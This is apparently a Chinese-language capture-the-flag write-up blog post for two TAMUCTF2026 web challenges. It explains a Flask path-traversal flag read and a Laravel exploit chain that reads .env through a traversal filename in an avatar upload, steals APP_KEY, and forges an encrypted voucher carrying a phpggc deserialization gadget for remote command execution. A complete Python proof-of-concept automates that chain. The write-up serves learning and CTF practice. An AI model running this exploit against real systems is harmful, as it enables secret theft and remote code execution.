Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
2605 字
13 分钟
TAMUCTF2026
2026-03-24
统计加载中...

[+]bad-apple#

首先看题目源码

from flask import Flask, render_template, request, redirect, url_for, send_from_directory, make_response, jsonify
import os
import subprocess
import uuid
from werkzeug.utils import secure_filename
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
app = Flask(__name__, template_folder=os.path.join(BASE_DIR, 'templates'), static_folder='/srv/http/static')
UPLOAD_FOLDER = '/srv/http/uploads'
FRAMES_BASE = '/srv/http/static/frames'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(FRAMES_BASE, exist_ok=True)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
@app.errorhandler(413)
def request_entity_too_large(error):
return jsonify({'success': False, 'error': 'File too large. Maximum size is 16MB.'}), 413
def get_user_id():
user_id = request.cookies.get('user_id')
if not user_id:
user_id = str(uuid.uuid4())
return user_id
def extract_frames(input_path, output_dir, gif_name):
os.makedirs(output_dir, exist_ok=True)
width = 120
cmd = [
'ffmpeg', '-i', input_path,
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
'-y', f'{output_dir}/palette.png'
]
subprocess.run(cmd, capture_output=True)
cmd = [
'ffmpeg', '-i', input_path,
'-i', f'{output_dir}/palette.png',
'-lavfi', f'fps=10,scale={width}:-1:flags=lanczos[x];[x][1:v]paletteuse',
'-y', f'{output_dir}/output.gif'
]
subprocess.run(cmd, capture_output=True)
frame_count = 0
cmd = [
'ffmpeg', '-i', f'{output_dir}/output.gif',
f'{output_dir}/frame_%04d.png'
]
subprocess.run(cmd, capture_output=True)
for f in os.listdir(output_dir):
if f.startswith('frame_') and f.endswith('.png'):
frame_count += 1
return frame_count
@app.route('/')
def index():
user_id = get_user_id()
view_gif = request.args.get('view')
view_user_id = request.args.get('view_user_id', user_id)
view_frames = []
if view_gif:
view_frames_dir = os.path.join(FRAMES_BASE, view_user_id, view_gif)
if os.path.exists(view_frames_dir):
view_frames = sorted([f for f in os.listdir(view_frames_dir) if f.startswith('frame_') and f.endswith('.png')])
default_frames_dir = os.path.join(FRAMES_BASE, 'shared', 'bad-apple')
default_frames = []
if os.path.exists(default_frames_dir):
default_frames = sorted([f for f in os.listdir(default_frames_dir) if f.startswith('frame_') and f.endswith('.png')])
user_frames_dir = os.path.join(FRAMES_BASE, user_id)
gifs = []
if os.path.exists(user_frames_dir):
for gif_name in os.listdir(user_frames_dir):
gif_path = os.path.join(user_frames_dir, gif_name)
if os.path.isdir(gif_path):
frames = [f for f in os.listdir(gif_path) if f.startswith('frame_') and f.endswith('.png')]
gifs.append({'name': gif_name, 'frame_count': len(frames)})
response = make_response(render_template('index.html',
user_id=user_id,
default_gif='bad-apple',
default_frames=default_frames,
gifs=gifs,
view_gif=view_gif,
view_user_id=view_user_id,
view_frames=view_frames))
response.set_cookie('user_id', user_id)
return response
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return jsonify({'success': False, 'error': 'No file uploaded'}), 400
file = request.files['file']
if file.filename == '':
return jsonify({'success': False, 'error': 'No file selected'}), 400
if file:
filename = secure_filename(file.filename)
user_id = request.cookies.get('user_id')
if not user_id:
user_id = str(uuid.uuid4())
user_dir = os.path.join(app.config['UPLOAD_FOLDER'], user_id)
os.makedirs(user_dir, exist_ok=True)
filepath = os.path.join(user_dir, filename)
file.save(filepath)
safe_name = os.path.splitext(os.path.basename(filename))[0]
output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
if os.path.exists(output_dir) and os.listdir(output_dir):
return jsonify({'success': False, 'error': 'GIF with this name already exists'}), 400
os.makedirs(output_dir, exist_ok=True)
try:
extract_frames(filepath, output_dir, safe_name)
response = make_response(jsonify({'success': True, 'user_id': user_id, 'gif_name': safe_name}))
response.set_cookie('user_id', user_id)
return response
except Exception as e:
return jsonify({'success': False, 'error': str(e)}), 500
@app.route('/convert')
def convert():
user_id = request.args.get('user_id', 'anonymous')
filename = request.args.get('filename', '')
input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename)
if not os.path.exists(input_path):
return "File not found", 404
safe_name = os.path.splitext(os.path.basename(filename))[0]
output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
os.makedirs(output_dir, exist_ok=True)
try:
frame_count = extract_frames(input_path, output_dir, safe_name)
return redirect(url_for('index', view=safe_name, user_id=user_id))
except Exception as e:
return f"Error processing file: {str(e)}", 500
@app.route('/get_frames')
def get_frames():
user_id = request.args.get('user_id', 'anonymous')
gif_name = request.args.get('gif_name', '')
frames_dir = os.path.join(FRAMES_BASE, user_id, gif_name)
if not os.path.exists(frames_dir):
return jsonify({'error': 'GIF not found'}), 404
frames = sorted([f for f in os.listdir(frames_dir) if f.startswith('frame_') and f.endswith('.png')])
return jsonify(frames)
application = app

先看三个路由有无可以利用的漏洞点。

在 / 路由下,可以发现有个render_template函数,但是他的参数不可控,一直都是index.html,所以这里无法进行ssti,除非可以用同名但包含其他内容的index.html进行覆盖;还有通过url获取参数 view 和 view_user_id ,在通过这句 view_frames_dir = os.path.join(FRAMES_BASE, view_user_id, view_gif)将主页的动态帧路径变为flag路径,然后点击网页中的play便可查看flag。

再看/upload,这里面有个 werkzeug.utils 库的 secure_filename 函数,是防止攻击者通过文件名来路径遍历的一个函数。再后面的话就是extract_frames(filepath, output_dir, safe_name)这句,作用是将一个.gif文件拆成一帧帧的.png文件,其中的filepath是通过 os.path.join(user_dir, filename) 这句拼接出来的,user_dir 是通过 os.path.join(app.config[‘UPLOAD_FOLDER’], user_id) 拼接出来的,故filepath就是**/srv/http/uploads/<user_id>/,然后将此路径的gif存储到output_dir中,也就是这句 os.path.join(FRAMES_BASE, user_id, safe_name) 拼接出来的/srv/http/static/frames/<user_id>/**。

最后看/convert路由,通过get请求获取参数user_id与filename,从 /srv/http/uploads/<user_id>/ 读取目标 gif,并调用 extract_frames() 将其拆分到 /srv/http/static/frames/<user_id>/<safe_name>/ 目录下。这样原本的 gif就被转化成了后续可由首页直接播放的静态 png 帧。用frame_count记录*flag.gif的一张张帧图片,其实就是将原本网页默认的bad-apple动画变为flag动画,起到一个转变的作用。

接下来看题目的一个附件:httpd-append.conf

<VirtualHost *:80>
WSGIScriptAlias / /srv/app/wsgi_app.py
<Directory /srv/app>
Require all granted
</Directory>
Alias /browse /srv/http/uploads
<Directory /srv/http/uploads>
Options +Indexes
DirectoryIndex disabled
IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
AllowOverride None
Require all granted
<FilesMatch "\.gif$">
AuthType Basic
AuthName "Admin Area"
AuthUserFile /srv/http/.htpasswd
Require valid-user
</FilesMatch>
</Directory>
</VirtualHost>

这个附件就是该服务器的部分apache配置信息。其中一句Alias /browse /srv/http/uploads意味着网页中/browse路由对应着服务器的/srv/http/uploads路由,进入/browse可以发现还有个admin路由,进去发现*flag.gif的文件。

现在整个攻击链路就已经搞清楚了,就是先通过/browse找到flag对应的gif文件,然后通过/convert路由传参将网页主页的帧动画转变为flag,最后通过/路由传参

?view=e017b6321bda6812ec80e9fac368709e-flag&view_user_id=admin

点击play按钮,即可获取flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]vault#

这道题在注册和登录后,进入仪表盘,然后有四个路径可以走

但是我在四个界面中都看了看,并没有发现什么突破口。那就直接来看源码。

经历了一番检索之后,发现account等四个路径中,只有Vouchers这个路径有突破口,现在我贴出VouchersController.php

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Contracts\Encryption\DecryptException;
use Carbon\Carbon;
class VouchersController extends Controller
{
public function index(Request $request)
{
return view('vouchers', ['user' => Auth::user()]);
}
public function create(Request $request)
{
$data = $request->validate([
'amount' => 'required|integer|min:1'
]);
/** @var \App\Models\User $user */
$user = Auth::user();
$amount = (int) $data['amount'];
if ($user->balance < $amount) {
return back()->withErrors([
'amount' => 'Amount is greater than funds available.'
]);
}
$user->balance -= $amount;
$user->save();
$voucher = encrypt([
'amount' => $amount,
'created_by' => $user->uuid,
'created_at' => Carbon::now()
]);
return back()->with('voucher', $voucher);
}
public function redeem(Request $request)
{
$data = $request->validate([
'voucher' => 'required|string'
]);
try {
$voucher = decrypt($data['voucher']);
} catch (DecryptException $e) {
return back()->withErrors([
'voucher' => 'Invalid voucher.'
]);
}
/** @var \App\Models\User $user */
$user = Auth::user();
$user->balance += $voucher['amount'];
$user->save();
return redirect()->back();
}
}

其中突破点就在line52-54中的 $voucher = decrypt($data[‘voucher’]); 是一段对voucher解密的代码,那么我们就去看看这个decrypt是怎么个事儿。我去翻了下Laravel的开发文档,可以看到laravel框架中的decrypt函数,在laravel框架的src//Illuminate/Encryption/Encrypter.php中可见

public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$this->ensureTagIsValid(
$tag = empty($payload['tag']) ? null : base64_decode($payload['tag'])
);
// Here we will decrypt the value. If we are able to successfully decrypt it
// we will then unserialize it and return it out to the caller. If we are
// unable to decrypt this value we will throw out an exception message.
$decrypted = \openssl_decrypt(
$payload['value'], strtolower($this->cipher), $this->key, 0, $iv, $tag ?? ''
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}

可见decrypt函数中有两个参数,而此题源码中的$voucher = decrypt($data[‘voucher’]);只传了一个参数,第二个参数$unserialize的值默认为true,所以就会触发laravel框架内部的反序列化。

发现这个漏洞点后,便可以尝试通过篡改voucher的值来对网站进行一个攻击。在

$decrypted = \openssl_decrypt($payload[‘value’], strtolower($this->cipher), $this->key, 0, $iv, $tag ?? ”);

这句可见payload是通过一个key来解密的,所以前提是得获取APP_KEY,然后再通过这个key对payload进行加密。

在src\config\app.php中的’key’ => env(‘APP_KEY’)可知,app_key在环境变量中。而laravel官方文档明确写道.env文件在应用根目录中。现在要找到一个可以路径遍历的利用点。

在AccountController.php中,有个上传avatar的接口,我先把这个源码贴出来

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Storage;
use App\Models\User;
class AccountController extends Controller
{
public function index(Request $request)
{
return view('account', ['user' => Auth::user()]);
}
public function update(Request $request)
{
/** @var \App\Models\User $user */
$user = Auth::user();
$credentials = $request->validate([
'username' => 'required|string',
'password' => 'nullable|string',
'password2' => 'nullable|string'
]);
if ($credentials['password'] !== $credentials['password2']) {
return back()->withErrors(([
'password' => 'Passwords do not match.'
]));
}
if ($credentials['username'] !== $user->username) {
$existingUser = User::where('username', $credentials['username'])->first();
if ($existingUser) {
return back()->withErrors([
'username' => 'Username is taken.'
]);
}
$user->username = $credentials['username'];
}
if ($credentials['password'])
$user->password = $credentials['password'];
$user->save();
return redirect()->refresh();
}
public function updateAvatar(Request $request)
{
$request->validate([
'avatar' => 'required|image|max:2048'
]);
/** @var \App\Models\User $user */
$user = Auth::user();
if ($user->avatar) {
$previousPath = Storage::disk('public')->path($user->avatar);
if (file_exists($previousPath))
unlink($previousPath);
}
$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path;
$user->save();
return redirect()->back();
}
public function getAvatar(Request $request)
{
$path = Auth::user()->avatar;
if (!$path)
return response()->json(['error' => 'No avatar set.']);
return response()->file($path);
}
}

可见在updateAvatar函数中可能可以实现路径遍历。在web.php中可见其对应上传头像的路由
Route::post(‘/account/avatar’, [AccountController::class, ‘updateAvatar’]);

$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path;
$user->save();

看这段源码可知,程序会将上传文件名赋值给$name,随后拼接出
$path = “/var/www/storage/app/public/avatars/$name”;。
因此,我们可以在文件上传时将文件名构造为 ../../../../.env,使拼接后的 $path 中包含路径遍历内容。随后,程序又通过 user>avatar=user->avatar = path; 将该路径保存下来,且其中的遍历内容并未被清除。这样一来,当访问 /avatar 时,后端便会按照该路径读取文件,最终即可读到 .env 内容,从而获取 APP_KEY。

到此便有一条清晰的攻击链路出来了。

在/account/avatar上传一个合法PNG文件,通过文件名使/avatar指向.env内容->在/avatar中读取app_key->通过app_key对voucher内容进行伪造,使其通过decrypt函数的校验,触发反序列化链->RCE

以下是PoC:

import argparse
import base64
import hashlib
import hmac
import json
import os
import random
import re
import string
import subprocess
import sys
import urllib3
import requests
from Crypto.Cipher import AES
# 关闭 HTTPS 证书告警
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def extract_csrf(html: str) -> str:
# 从页面中提取 CSRF token
m = re.search(r'name="_token"\s+value="([^"]+)"', html)
if m:
return m.group(1)
m = re.search(r'meta name="csrf-token" content="([^"]+)"', html)
if m:
return m.group(1)
raise RuntimeError("CSRF token not found")
def tiny_png() -> bytes:
# 构造一个最小合法 PNG 文件
return (
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
b"\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00"
b"\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82"
)
def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -> str:
# 按 Laravel 的格式加密字符串
iv = os.urandom(16)
pt = serialized.encode()
# PKCS#7 填充
pad = 16 - (len(pt) % 16)
pt += bytes([pad]) * pad
# AES-CBC 加密
ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)
iv_b64 = base64.b64encode(iv).decode()
val_b64 = base64.b64encode(ct).decode()
# 计算 MAC,伪造成合法 Laravel 密文
mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest()
payload = json.dumps(
{"iv": iv_b64, "value": val_b64, "mac": mac, "tag": ""},
separators=(",", ":"),
)
return base64.b64encode(payload.encode()).decode()
def run_phpggc(phpggc: str, chain: str, cmd: str) -> str:
# 调用 phpggc 生成恶意序列化对象
attempts = [
["php", phpggc, chain, "system", cmd],
["php", phpggc, chain, cmd],
["php", phpggc, "-f", chain, "system", cmd],
["php", phpggc, "-f", chain, cmd],
]
for a in attempts:
p = subprocess.run(a, capture_output=True, text=True)
if p.returncode == 0 and p.stdout.strip():
return p.stdout.strip()
raise RuntimeError(f"phpggc failed for {chain}")
def main():
parser = argparse.ArgumentParser(description="TAMUctf vault exploit")
parser.add_argument(
"--url",
default="https://589b74a1-e8da-4294-838f-79453cf65191.tamuctf.com",
help="target base url",
)
parser.add_argument(
"--phpggc",
default="phpggc/phpggc",
help="path to phpggc entry script",
)
args = parser.parse_args()
base = args.url.rstrip("/")
# 使用 Session 自动保存登录态 cookie
s = requests.Session()
s.verify = False
# 随机注册一个账号
username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
password = "Pass123456!"
# Register
r = s.get(base + "/register", timeout=15)
csrf = extract_csrf(r.text)
s.post(
base + "/register",
data={"_token": csrf, "username": username, "password": password, "password2": password},
timeout=15,
)
# Login
r = s.get(base + "/login", timeout=15)
csrf = extract_csrf(r.text)
s.post(
base + "/login",
data={"_token": csrf, "username": username, "password": password},
timeout=15,
)
# 利用头像上传点读取 .env
r = s.get(base + "/account", timeout=15)
csrf = extract_csrf(r.text)
s.post(
base + "/account/avatar",
data={"_token": csrf},
files={"avatar": ("../../../../.env", tiny_png(), "image/png")},
timeout=15,
)
# 通过 /avatar 读取 .env 内容并提取 APP_KEY
env_text = s.get(base + "/avatar", timeout=15).text
m = re.search(r"^APP_KEY=(.+)$", env_text, flags=re.M)
if not m:
print("[-] APP_KEY not found from /avatar")
sys.exit(1)
app_key = m.group(1).strip()
key = base64.b64decode(app_key.split(":", 1)[1])
print(f"[+] APP_KEY: {app_key}")
# 用 phpggc 生成 Laravel/RCE22 链,再按 Laravel 格式加密
cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
voucher = laravel_encrypt_raw(serialized, key)
# 提交 voucher 触发反序列化链
r = s.get(base + "/vouchers", timeout=15)
csrf = extract_csrf(r.text)
rr = s.post(
base + "/vouchers/redeem",
data={"_token": csrf, "voucher": voucher},
timeout=15,
)
print(f"[+] redeem status: {rr.status_code}")
# 读取命令执行后写出的文件
fr = s.get(base + "/pwn.txt", timeout=15)
print(f"[+] /pwn.txt status: {fr.status_code}")
print(fr.text.strip())
# 提取 flag
flag = re.search(r"gigem\{[^}]+\}", fr.text, flags=re.I)
if flag:
print(f"[FLAG] {flag.group(0)}")
else:
print("[-] flag regex not found")
if __name__ == "__main__":
main()
TAMUCTF2026
https://fsteinsgate.cn/posts/tamuctf2026/
作者
F0r7yn
发布于
2026-03-24
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时